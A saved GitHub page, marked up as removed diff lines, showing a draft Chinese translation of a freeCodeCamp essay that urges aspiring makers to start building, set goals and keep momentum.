-              <svg aria-hidden="true" class="octicon octicon-repo-forked" height="16" version="1.1" viewBox="0 0 10 16" width="10"><path fill-rule="evenodd" d="M8 1a1.993 1.993 0 0 0-1 3.72V6L5 8 3 6V4.72A1.993 1.993 0 0 0 2 1a1.993 1.993 0 0 0-1 3.72V6.5l3 3v1.78A1.993 1.993 0 0 0 5 15a1.993 1.993 0 0 0 1-3.72V9.5l3-3V4.72A1.993 1.993 0 0 0 8 1zM2 4.2C1.34 4.2.8 3.65.8 3c0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2zm3 10c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2zm3-10c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2z"/></svg>
-            Fork
-          </a>
-
-          <div id="fork-destination-box" style="display: none;">
-            <h2 class="facebox-header" data-facebox-id="facebox-header">Where should we fork this repository?</h2>
-            <include-fragment src=""
-                class="js-fork-select-fragment fork-select-fragment"
-                data-url="/owenlyn/gold-miner/fork?fragment=1">
-              <img alt="Loading" height="64" src="https://assets-cdn.github.com/images/spinners/octocat-spinner-128.gif" width="64" />
-            </include-fragment>
-          </div>
-
-    <a href="/owenlyn/gold-miner/network" class="social-count"
-       aria-label="1335 users forked this repository">
-      1,335
-    </a>
-  </li>
-</ul>
-
-      <h1 class="public ">
-  <svg aria-hidden="true" class="octicon octicon-repo-forked" height="16" version="1.1" viewBox="0 0 10 16" width="10"><path fill-rule="evenodd" d="M8 1a1.993 1.993 0 0 0-1 3.72V6L5 8 3 6V4.72A1.993 1.993 0 0 0 2 1a1.993 1.993 0 0 0-1 3.72V6.5l3 3v1.78A1.993 1.993 0 0 0 5 15a1.993 1.993 0 0 0 1-3.72V9.5l3-3V4.72A1.993 1.993 0 0 0 8 1zM2 4.2C1.34 4.2.8 3.65.8 3c0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2zm3 10c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2zm3-10c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2z"/></svg>
-  <span class="author" itemprop="author"><a href="/owenlyn" class="url fn" rel="author">owenlyn</a></span><!--
---><span class="path-divider">/</span><!--
---><strong itemprop="name"><a href="/owenlyn/gold-miner" data-pjax="#js-repo-pjax-container">gold-miner</a></strong>
-
-    <span class="fork-flag">
-      <span class="text">forked from <a href="/xitu/gold-miner">xitu/gold-miner</a></span>
-    </span>
-</h1>
-
-    </div>
-    <div class="container">
-      
-<nav class="reponav js-repo-nav js-sidenav-container-pjax"
-     itemscope
-     itemtype="http://schema.org/BreadcrumbList"
-     role="navigation"
-     data-pjax="#js-repo-pjax-container">
-
-  <span itemscope itemtype="http://schema.org/ListItem" itemprop="itemListElement">
-    <a href="/owenlyn/gold-miner/tree/translate" class="js-selected-navigation-item selected reponav-item" data-hotkey="g c" data-selected-links="repo_source repo_downloads repo_commits repo_releases repo_tags repo_branches /owenlyn/gold-miner/tree/translate" itemprop="url">
-      <svg aria-hidden="true" class="octicon octicon-code" height="16" version="1.1" viewBox="0 0 14 16" width="14"><path fill-rule="evenodd" d="M9.5 3L8 4.5 11.5 8 8 11.5 9.5 13 14 8 9.5 3zm-5 0L0 8l4.5 5L6 11.5 2.5 8 6 4.5 4.5 3z"/></svg>
-      <span itemprop="name">Code</span>
-      <meta itemprop="position" content="1">
-</a>  </span>
-
-
-  <span itemscope itemtype="http://schema.org/ListItem" itemprop="itemListElement">
-    <a href="/owenlyn/gold-miner/pulls" class="js-selected-navigation-item reponav-item" data-hotkey="g p" data-selected-links="repo_pulls /owenlyn/gold-miner/pulls" itemprop="url">
-      <svg aria-hidden="true" class="octicon octicon-git-pull-request" height="16" version="1.1" viewBox="0 0 12 16" width="12"><path fill-rule="evenodd" d="M11 11.28V5c-.03-.78-.34-1.47-.94-2.06C9.46 2.35 8.78 2.03 8 2H7V0L4 3l3 3V4h1c.27.02.48.11.69.31.21.2.3.42.31.69v6.28A1.993 1.993 0 0 0 10 15a1.993 1.993 0 0 0 1-3.72zm-1 2.92c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2zM4 3c0-1.11-.89-2-2-2a1.993 1.993 0 0 0-1 3.72v6.56A1.993 1.993 0 0 0 2 15a1.993 1.993 0 0 0 1-3.72V4.72c.59-.34 1-.98 1-1.72zm-.8 10c0 .66-.55 1.2-1.2 1.2-.65 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2zM2 4.2C1.34 4.2.8 3.65.8 3c0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2z"/></svg>
-      <span itemprop="name">Pull requests</span>
-      <span class="counter">0</span>
-      <meta itemprop="position" content="3">
-</a>  </span>
-
-    <a href="/owenlyn/gold-miner/projects" class="js-selected-navigation-item reponav-item" data-selected-links="repo_projects new_repo_project repo_project /owenlyn/gold-miner/projects">
-      <svg aria-hidden="true" class="octicon octicon-project" height="16" version="1.1" viewBox="0 0 15 16" width="15"><path fill-rule="evenodd" d="M10 12h3V2h-3v10zm-4-2h3V2H6v8zm-4 4h3V2H2v12zm-1 1h13V1H1v14zM14 0H1a1 1 0 0 0-1 1v14a1 1 0 0 0 1 1h13a1 1 0 0 0 1-1V1a1 1 0 0 0-1-1z"/></svg>
-      Projects
-      <span class="counter">0</span>
-</a>
-    <a href="/owenlyn/gold-miner/wiki" class="js-selected-navigation-item reponav-item" data-hotkey="g w" data-selected-links="repo_wiki /owenlyn/gold-miner/wiki">
-      <svg aria-hidden="true" class="octicon octicon-book" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M3 5h4v1H3V5zm0 3h4V7H3v1zm0 2h4V9H3v1zm11-5h-4v1h4V5zm0 2h-4v1h4V7zm0 2h-4v1h4V9zm2-6v9c0 .55-.45 1-1 1H9.5l-1 1-1-1H2c-.55 0-1-.45-1-1V3c0-.55.45-1 1-1h5.5l1 1 1-1H15c.55 0 1 .45 1 1zm-8 .5L7.5 3H2v9h6V3.5zm7-.5H9.5l-.5.5V12h6V3z"/></svg>
-      Wiki
-</a>
-
-  <a href="/owenlyn/gold-miner/pulse" class="js-selected-navigation-item reponav-item" data-selected-links="pulse /owenlyn/gold-miner/pulse">
-    <svg aria-hidden="true" class="octicon octicon-pulse" height="16" version="1.1" viewBox="0 0 14 16" width="14"><path fill-rule="evenodd" d="M11.5 8L8.8 5.4 6.6 8.5 5.5 1.6 2.38 8H0v2h3.6l.9-1.8.9 5.4L9 8.5l1.6 1.5H14V8z"/></svg>
-    Pulse
-</a>
-  <a href="/owenlyn/gold-miner/graphs" class="js-selected-navigation-item reponav-item" data-selected-links="repo_graphs repo_contributors /owenlyn/gold-miner/graphs">
-    <svg aria-hidden="true" class="octicon octicon-graph" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M16 14v1H0V0h1v14h15zM5 13H3V8h2v5zm4 0H7V3h2v10zm4 0h-2V6h2v7z"/></svg>
-    Graphs
-</a>
-    <a href="/owenlyn/gold-miner/settings" class="js-selected-navigation-item reponav-item" data-selected-links="repo_settings repo_branch_settings hooks integration_installations /owenlyn/gold-miner/settings">
-      <svg aria-hidden="true" class="octicon octicon-gear" height="16" version="1.1" viewBox="0 0 14 16" width="14"><path fill-rule="evenodd" d="M14 8.77v-1.6l-1.94-.64-.45-1.09.88-1.84-1.13-1.13-1.81.91-1.09-.45-.69-1.92h-1.6l-.63 1.94-1.11.45-1.84-.88-1.13 1.13.91 1.81-.45 1.09L0 7.23v1.59l1.94.64.45 1.09-.88 1.84 1.13 1.13 1.81-.91 1.09.45.69 1.92h1.59l.63-1.94 1.11-.45 1.84.88 1.13-1.13-.92-1.81.47-1.09L14 8.75v.02zM7 11c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3z"/></svg>
-      Settings
-</a>
-</nav>
-
-    </div>
-  </div>
-
-<div class="container new-discussion-timeline experiment-repo-nav">
-  <div class="repository-content">
-
-    
-          
-
-<a href="/owenlyn/gold-miner/blob/d79d43a164f6b55b65e62ec465077a04873420a8/TODO/nothing-will-change-until-you-start-building.md" class="d-none js-permalink-shortcut" data-hotkey="y">Permalink</a>
-
-<!-- blob contrib key: blob_contributors:v21:929734ce21ef5a029e2516e90cb14c9e -->
-
-<div class="file-navigation js-zeroclipboard-container">
-  
-<div class="select-menu branch-select-menu js-menu-container js-select-menu float-left">
-  <button class=" btn btn-sm select-menu-button js-menu-target css-truncate" data-hotkey="w"
-    
-    type="button" aria-label="Switch branches or tags" tabindex="0" aria-haspopup="true">
-      <i>Branch:</i>
-      <span class="js-select-button css-truncate-target">translate</span>
-  </button>
-
-  <div class="select-menu-modal-holder js-menu-content js-navigation-container" data-pjax>
-
-    <div class="select-menu-modal">
-      <div class="select-menu-header">
-        <svg aria-label="Close" class="octicon octicon-x js-menu-close" height="16" role="img" version="1.1" viewBox="0 0 12 16" width="12"><path fill-rule="evenodd" d="M7.48 8l3.75 3.75-1.48 1.48L6 9.48l-3.75 3.75-1.48-1.48L4.52 8 .77 4.25l1.48-1.48L6 6.52l3.75-3.75 1.48 1.48z"/></svg>
-        <span class="select-menu-title">Switch branches/tags</span>
-      </div>
-
-      <div class="select-menu-filters">
-        <div class="select-menu-text-filter">
-          <input type="text" aria-label="Find or create a branch…" id="context-commitish-filter-field" class="form-control js-filterable-field js-navigation-enable" placeholder="Find or create a branch…">
-        </div>
-        <div class="select-menu-tabs">
-          <ul>
-            <li class="select-menu-tab">
-              <a href="#" data-tab-filter="branches" data-filter-placeholder="Find or create a branch…" class="js-select-menu-tab" role="tab">Branches</a>
-            </li>
-            <li class="select-menu-tab">
-              <a href="#" data-tab-filter="tags" data-filter-placeholder="Find a tag…" class="js-select-menu-tab" role="tab">Tags</a>
-            </li>
-          </ul>
-        </div>
-      </div>
-
-      <div class="select-menu-list select-menu-tab-bucket js-select-menu-tab-bucket" data-tab-filter="branches" role="menu">
-
-        <div data-filterable-for="context-commitish-filter-field" data-filterable-type="substring">
-
-
-            <a class="select-menu-item js-navigation-item js-navigation-open "
-               href="/owenlyn/gold-miner/blob/master/TODO/nothing-will-change-until-you-start-building.md"
-               data-name="master"
-               data-skip-pjax="true"
-               rel="nofollow">
-              <svg aria-hidden="true" class="octicon octicon-check select-menu-item-icon" height="16" version="1.1" viewBox="0 0 12 16" width="12"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
-              <span class="select-menu-item-text css-truncate-target js-select-menu-filter-text">
-                master
-              </span>
-            </a>
-            <a class="select-menu-item js-navigation-item js-navigation-open "
-               href="/owenlyn/gold-miner/blob/revert-137-translate/TODO/nothing-will-change-until-you-start-building.md"
-               data-name="revert-137-translate"
-               data-skip-pjax="true"
-               rel="nofollow">
-              <svg aria-hidden="true" class="octicon octicon-check select-menu-item-icon" height="16" version="1.1" viewBox="0 0 12 16" width="12"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
-              <span class="select-menu-item-text css-truncate-target js-select-menu-filter-text">
-                revert-137-translate
-              </span>
-            </a>
-            <a class="select-menu-item js-navigation-item js-navigation-open selected"
-               href="/owenlyn/gold-miner/blob/translate/TODO/nothing-will-change-until-you-start-building.md"
-               data-name="translate"
-               data-skip-pjax="true"
-               rel="nofollow">
-              <svg aria-hidden="true" class="octicon octicon-check select-menu-item-icon" height="16" version="1.1" viewBox="0 0 12 16" width="12"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
-              <span class="select-menu-item-text css-truncate-target js-select-menu-filter-text">
-                translate
-              </span>
-            </a>
-        </div>
-
-          <!-- '"` --><!-- </textarea></xmp> --></option></form><form accept-charset="UTF-8" action="/owenlyn/gold-miner/branches" class="js-create-branch select-menu-item select-menu-new-item-form js-navigation-item js-new-item-form" method="post"><div style="margin:0;padding:0;display:inline"><input name="utf8" type="hidden" value="&#x2713;" /><input name="authenticity_token" type="hidden" value="J4ye8NRBGmJpbfhw8Tru3UFtLrerssssVt+G2H6DCc3/0Reyi93aR7OrudWqr6MFi/fmEyAuVXAJthXT4+W8gw==" /></div>
-          <svg aria-hidden="true" class="octicon octicon-git-branch select-menu-item-icon" height="16" version="1.1" viewBox="0 0 10 16" width="10"><path fill-rule="evenodd" d="M10 5c0-1.11-.89-2-2-2a1.993 1.993 0 0 0-1 3.72v.3c-.02.52-.23.98-.63 1.38-.4.4-.86.61-1.38.63-.83.02-1.48.16-2 .45V4.72a1.993 1.993 0 0 0-1-3.72C.88 1 0 1.89 0 3a2 2 0 0 0 1 1.72v6.56c-.59.35-1 .99-1 1.72 0 1.11.89 2 2 2 1.11 0 2-.89 2-2 0-.53-.2-1-.53-1.36.09-.06.48-.41.59-.47.25-.11.56-.17.94-.17 1.05-.05 1.95-.45 2.75-1.25S8.95 7.77 9 6.73h-.02C9.59 6.37 10 5.73 10 5zM2 1.8c.66 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2C1.35 4.2.8 3.65.8 3c0-.65.55-1.2 1.2-1.2zm0 12.41c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2zm6-8c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2z"/></svg>
-            <div class="select-menu-item-text">
-              <span class="select-menu-item-heading">Create branch: <span class="js-new-item-name"></span></span>
-              <span class="description">from ‘translate’</span>
-            </div>
-            <input type="hidden" name="name" id="name" class="js-new-item-value">
-            <input type="hidden" name="branch" id="branch" value="translate">
-            <input type="hidden" name="path" id="path" value="TODO/nothing-will-change-until-you-start-building.md">
-</form>
-      </div>
-
-      <div class="select-menu-list select-menu-tab-bucket js-select-menu-tab-bucket" data-tab-filter="tags">
-        <div data-filterable-for="context-commitish-filter-field" data-filterable-type="substring">
-
-
-        </div>
-
-        <div class="select-menu-no-results">Nothing to show</div>
-      </div>
-
-    </div>
-  </div>
-</div>
-
-  <div class="BtnGroup float-right">
-    <a href="/owenlyn/gold-miner/find/translate"
-          class="js-pjax-capture-input btn btn-sm BtnGroup-item"
-          data-pjax
-          data-hotkey="t">
-      Find file
-    </a>
-    <button aria-label="Copy file path to clipboard" class="js-zeroclipboard btn btn-sm BtnGroup-item tooltipped tooltipped-s" data-copied-hint="Copied!" type="button">Copy path</button>
-  </div>
-  <div class="breadcrumb js-zeroclipboard-target">
-    <span class="repo-root js-repo-root"><span class="js-path-segment"><a href="/owenlyn/gold-miner/tree/translate"><span>gold-miner</span></a></span></span><span class="separator">/</span><span class="js-path-segment"><a href="/owenlyn/gold-miner/tree/translate/TODO"><span>TODO</span></a></span><span class="separator">/</span><strong class="final-path">nothing-will-change-until-you-start-building.md</strong>
-  </div>
-</div>
-
-
-
-  <div class="commit-tease">
-      <span class="float-right">
-        <a class="commit-tease-sha" href="/owenlyn/gold-miner/commit/d79d43a164f6b55b65e62ec465077a04873420a8" data-pjax>
-          d79d43a
-        </a>
-        <relative-time datetime="2017-04-08T01:30:33Z">Apr 7, 2017</relative-time>
-      </span>
-      <div>
-        <img alt="@owenlyn" class="avatar" height="20" src="https://avatars0.githubusercontent.com/u/4431857?v=3&amp;s=40" width="20" />
-        <a href="/owenlyn" class="user-mention" rel="author">owenlyn</a>
-          <a href="/owenlyn/gold-miner/commit/d79d43a164f6b55b65e62ec465077a04873420a8" class="message" data-pjax="true" title="getting ready for proofreading">getting ready for proofreading</a>
-      </div>
-
-    <div class="commit-tease-contributors">
-      <button type="button" class="btn-link muted-link contributors-toggle" data-facebox="#blob_contributors_box">
-        <strong>2</strong>
-         contributors
-      </button>
-          <a class="avatar-link tooltipped tooltipped-s" aria-label="owenlyn" href="/owenlyn/gold-miner/commits/translate/TODO/nothing-will-change-until-you-start-building.md?author=owenlyn"><img alt="@owenlyn" class="avatar" height="20" src="https://avatars0.githubusercontent.com/u/4431857?v=3&amp;s=40" width="20" /> </a>
-    <a class="avatar-link tooltipped tooltipped-s" aria-label="sqrthree" href="/owenlyn/gold-miner/commits/translate/TODO/nothing-will-change-until-you-start-building.md?author=sqrthree"><img alt="@sqrthree" class="avatar" height="20" src="https://avatars2.githubusercontent.com/u/8622362?v=3&amp;s=40" width="20" /> </a>
-
-
-    </div>
-
-    <div id="blob_contributors_box" style="display:none">
-      <h2 class="facebox-header" data-facebox-id="facebox-header">Users who have contributed to this file</h2>
-      <ul class="facebox-user-list" data-facebox-id="facebox-description">
-          <li class="facebox-user-list-item">
-            <img alt="@owenlyn" height="24" src="https://avatars2.githubusercontent.com/u/4431857?v=3&amp;s=48" width="24" />
-            <a href="/owenlyn">owenlyn</a>
-          </li>
-          <li class="facebox-user-list-item">
-            <img alt="@sqrthree" height="24" src="https://avatars0.githubusercontent.com/u/8622362?v=3&amp;s=48" width="24" />
-            <a href="/sqrthree">sqrthree</a>
-          </li>
-      </ul>
-    </div>
-  </div>
-
-<div class="file">
-  <div class="file-header">
-  <div class="file-actions">
-
-    <div class="BtnGroup">
-      <a href="/owenlyn/gold-miner/raw/translate/TODO/nothing-will-change-until-you-start-building.md" class="btn btn-sm BtnGroup-item" id="raw-url">Raw</a>
-        <a href="/owenlyn/gold-miner/blame/translate/TODO/nothing-will-change-until-you-start-building.md" class="btn btn-sm js-update-url-with-hash BtnGroup-item" data-hotkey="b">Blame</a>
-      <a href="/owenlyn/gold-miner/commits/translate/TODO/nothing-will-change-until-you-start-building.md" class="btn btn-sm BtnGroup-item" rel="nofollow">History</a>
-    </div>
-
-        <a class="btn-octicon tooltipped tooltipped-nw"
-           href="https://mac.github.com"
-           aria-label="Open this file in GitHub Desktop"
-           data-ga-click="Repository, open with desktop, type:mac">
-            <svg aria-hidden="true" class="octicon octicon-device-desktop" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M15 2H1c-.55 0-1 .45-1 1v9c0 .55.45 1 1 1h5.34c-.25.61-.86 1.39-2.34 2h8c-1.48-.61-2.09-1.39-2.34-2H15c.55 0 1-.45 1-1V3c0-.55-.45-1-1-1zm0 9H1V3h14v8z"/></svg>
-        </a>
-
-        <!-- '"` --><!-- </textarea></xmp> --></option></form><form accept-charset="UTF-8" action="/owenlyn/gold-miner/edit/translate/TODO/nothing-will-change-until-you-start-building.md" class="inline-form js-update-url-with-hash" method="post"><div style="margin:0;padding:0;display:inline"><input name="utf8" type="hidden" value="&#x2713;" /><input name="authenticity_token" type="hidden" value="QgnlQRUhpXNBSONqGSX5USsL1VZa/Ggo2W269n2NjAj1Pcuw7Ial9YEYFCkmGc6n2tKNmsqKDcXiCZwA7a7MrA==" /></div>
-          <button class="btn-octicon tooltipped tooltipped-nw" type="submit"
-            aria-label="Edit this file" data-hotkey="e" data-disable-with>
-            <svg aria-hidden="true" class="octicon octicon-pencil" height="16" version="1.1" viewBox="0 0 14 16" width="14"><path fill-rule="evenodd" d="M0 12v3h3l8-8-3-3-8 8zm3 2H1v-2h1v1h1v1zm10.3-9.3L12 6 9 3l1.3-1.3a.996.996 0 0 1 1.41 0l1.59 1.59c.39.39.39 1.02 0 1.41z"/></svg>
-          </button>
-</form>        <!-- '"` --><!-- </textarea></xmp> --></option></form><form accept-charset="UTF-8" action="/owenlyn/gold-miner/delete/translate/TODO/nothing-will-change-until-you-start-building.md" class="inline-form" method="post"><div style="margin:0;padding:0;display:inline"><input name="utf8" type="hidden" value="&#x2713;" /><input name="authenticity_token" type="hidden" value="M0twXlJAAtaPOEGMlXwB1IZ4dqujsJGOqc1QmflQ/qFafIsNXxrVEjFae2TqmruiByJXbZE4o6BChtR4+wCpJg==" /></div>
-          <button class="btn-octicon btn-octicon-danger tooltipped tooltipped-nw" type="submit"
-            aria-label="Delete this file" data-disable-with>
-            <svg aria-hidden="true" class="octicon octicon-trashcan" height="16" version="1.1" viewBox="0 0 12 16" width="12"><path fill-rule="evenodd" d="M11 2H9c0-.55-.45-1-1-1H5c-.55 0-1 .45-1 1H2c-.55 0-1 .45-1 1v1c0 .55.45 1 1 1v9c0 .55.45 1 1 1h7c.55 0 1-.45 1-1V5c.55 0 1-.45 1-1V3c0-.55-.45-1-1-1zm-1 12H3V5h1v8h1V5h1v8h1V5h1v8h1V5h1v9zm1-10H2V3h9v1z"/></svg>
-          </button>
-</form>  </div>
-
-  <div class="file-info">
-      91 lines (47 sloc)
-      <span class="file-info-divider"></span>
-    7.57 KB
-  </div>
-</div>
-
-  
-  <div id="readme" class="readme blob instapaper_body">
-    <article class="markdown-body entry-content" itemprop="text"><blockquote>
-<ul>
-<li>原文地址：<a href="https://medium.freecodecamp.com/nothing-will-change-until-you-start-building-2681e85e7bdc">Nothing will change until you start building.</a></li>
-<li>原文作者：<a href="https://medium.freecodecamp.com/@JonathanZWhite?source=post_header_lockup">Jonathan Z. White</a></li>
-<li>译文出自：<a href="https://github.com/xitu/gold-miner">掘金翻译计划</a></li>
-<li>译者：<a href="https://github.com/owenlyn">owenlyn</a></li>
-<li>校对者：</li>
-</ul>
-</blockquote>
-<hr>
-<p><a href="https://camo.githubusercontent.com/7cb6139a0d4bcfdbcb42a8ba19fb50647b190b8d/68747470733a2f2f63646e2d696d616765732d312e6d656469756d2e636f6d2f6d61782f313030302f312a457748706e435a373046744a4d692d6c4e536c2d39512e706e67" target="_blank"><img src="https://camo.githubusercontent.com/7cb6139a0d4bcfdbcb42a8ba19fb50647b190b8d/68747470733a2f2f63646e2d696d616765732d312e6d656469756d2e636f6d2f6d61782f313030302f312a457748706e435a373046744a4d692d6c4e536c2d39512e706e67" alt="" data-canonical-src="https://cdn-images-1.medium.com/max/1000/1*EwHpnCZ70FtJMi-lNSl-9Q.png" style="max-width:100%;"></a></p>
-<h1><a id="user-content-真正行动之前-你将一无所成" class="anchor" href="#真正行动之前-你将一无所成" aria-hidden="true"><svg aria-hidden="true" class="octicon octicon-link" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>真正行动之前 你将一无所成</h1>
-<p>就在上周我打了一辆 Lyft 出租车，司机跟我聊了很多关于她的天花乱坠的想法。她的想法里，有一个关于儿童的书籍，有帮助人们停车的APP、有一个更高效的打包礼物的方法，但问题是她总是犹豫不决：她又想法但却不知道从何开始。</p>
-<p>接下来这段话是我对她说的：<strong>开始一些实际行动吧。选一个项目然后尽可能的去完成它。</strong> 如果你想写一本书，那么从每天写一页开始；如果你像做一个APP，那就从草稿开始。任何人都可以做到这些。</p>
-<p>这些建议对所有创新者都适用。一旦你开始着手在你的项目上，你将会不由自主的继续做下去。创新将会成为你人格的一部分 —— 即使你的项目失败了。</p>
-<p>你今天迈出的一小步将会是你人生的一大步。看看那些伟大的产品创造者吧，比如 <a href="https://twitter.com/drewwilson">Drew Wilson</a>, <a href="https://twitter.com/levelsio?">Pieter Levels</a>, 和 <a href="https://twitter.com/Sebyddd">Sebastian Dobrincu</a>。<strong>他们不仅仅是等待合适的时机。</strong> 他们每周都在更新他们的产品。</p>
-<p>在一个 <a href="https://www.indiehackers.com/podcast/006-josh-pigford-of-baremetrics">IndieHackers</a> 的节目中, <a href="https://twitter.com/Shpigford">Josh Pigford</a> 透露，在做 Baremetrics 之前，他已经尝试过 <em>一百个</em> 失败的点子。 现在， Baremetrics 每个月都会有 60，000 美金进账。</p>
-<p><a href="https://camo.githubusercontent.com/be82f0bdb1d430e3a974b37172a1da48f58f2f72/68747470733a2f2f63646e2d696d616765732d312e6d656469756d2e636f6d2f6d61782f3830302f312a427a6d566171414b457a4e527962556d4d594f7864412e706e67" target="_blank"><img src="https://camo.githubusercontent.com/be82f0bdb1d430e3a974b37172a1da48f58f2f72/68747470733a2f2f63646e2d696d616765732d312e6d656469756d2e636f6d2f6d61782f3830302f312a427a6d566171414b457a4e527962556d4d594f7864412e706e67" alt="" data-canonical-src="https://cdn-images-1.medium.com/max/800/1*BzmVaqAKEzNRybUmMYOxdA.png" style="max-width:100%;"></a></p>
-<p>记住这些，接下来的要说的，是我总结的一些来自成功的产品创作者朋友们的策略。</p>
-<hr>
-<h3><a id="user-content-1-确定目标" class="anchor" href="#1-确定目标" aria-hidden="true"><svg aria-hidden="true" class="octicon octicon-link" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>1. 确定目标</h3>
-<p>在开始的时候，确定你的项目要实现的主要目标。如果你想打破你以往的设计风格，那就把心思花在设计上；如果你测试一个新的前端框架，那就把钻研代码；如果你想获得上百个用户（”大量用户“ 会不会好点），就把精力用在销售上。</p>
-<p>尽早确定目标可以帮助你摆脱诱惑，防止你到最后忘记初心。** 也许你的项目并不能成为下一个 Snapchat, 但是在通往你目标的道路上，你会更加的熟练运用各种做产品的工具。渐渐地，你会拥有越来越强大的设计、代码、销售等的能力。</p>
-<h3><a id="user-content-2-执行计划" class="anchor" href="#2-执行计划" aria-hidden="true"><svg aria-hidden="true" class="octicon octicon-link" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>2. 执行计划</h3>
-<p>有一些产品没能完的原因是作者在半路失去了动力。 <strong>设定一些小目标（比如先赚一个亿）；完成这些目标会让你获得前进的动力。</strong> 小的成就累计起来也是很了不起的。</p>
-<p><a href="https://camo.githubusercontent.com/dd872403ce14df3e4a0b8f0b00466da08f100f79/68747470733a2f2f63646e2d696d616765732d312e6d656469756d2e636f6d2f6d61782f3830302f312a4553696c6453565453534f6e4658474478442d6c39772e706e67" target="_blank"><img src="https://camo.githubusercontent.com/dd872403ce14df3e4a0b8f0b00466da08f100f79/68747470733a2f2f63646e2d696d616765732d312e6d656469756d2e636f6d2f6d61782f3830302f312a4553696c6453565453534f6e4658474478442d6c39772e706e67" alt="" data-canonical-src="https://cdn-images-1.medium.com/max/800/1*ESildSVTSSOnFXGDxD-l9w.png" style="max-width:100%;"></a></p>
-<p>另一个让你保持动力的建议就是让你的项目更加公开。在网上和你的同行们分享你的进展。人们很喜欢看到线框（wireframe 翻译成 ”框架“ 会不会好一点？）类的东西，并常常带来有价值的投入。</p>
-<p>我自己找到的一个非常有用的保持动力的小秘诀是和朋友打赌。我对他们说，如果我在截止日期前没有完成某个任务，我就给他们一百刀。比如，我会在一个项目开始的两周内找到二十个人打赌。</p>
-<h3><a id="user-content-3-解决问题" class="anchor" href="#3-解决问题" aria-hidden="true"><svg aria-hidden="true" class="octicon octicon-link" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>3. 解决问题</h3>
-<p>解决一个问题。如果你自己也经历了这个问题那就再好不过了。问问你的朋友们他们都有哪些问题需要解决。</p>
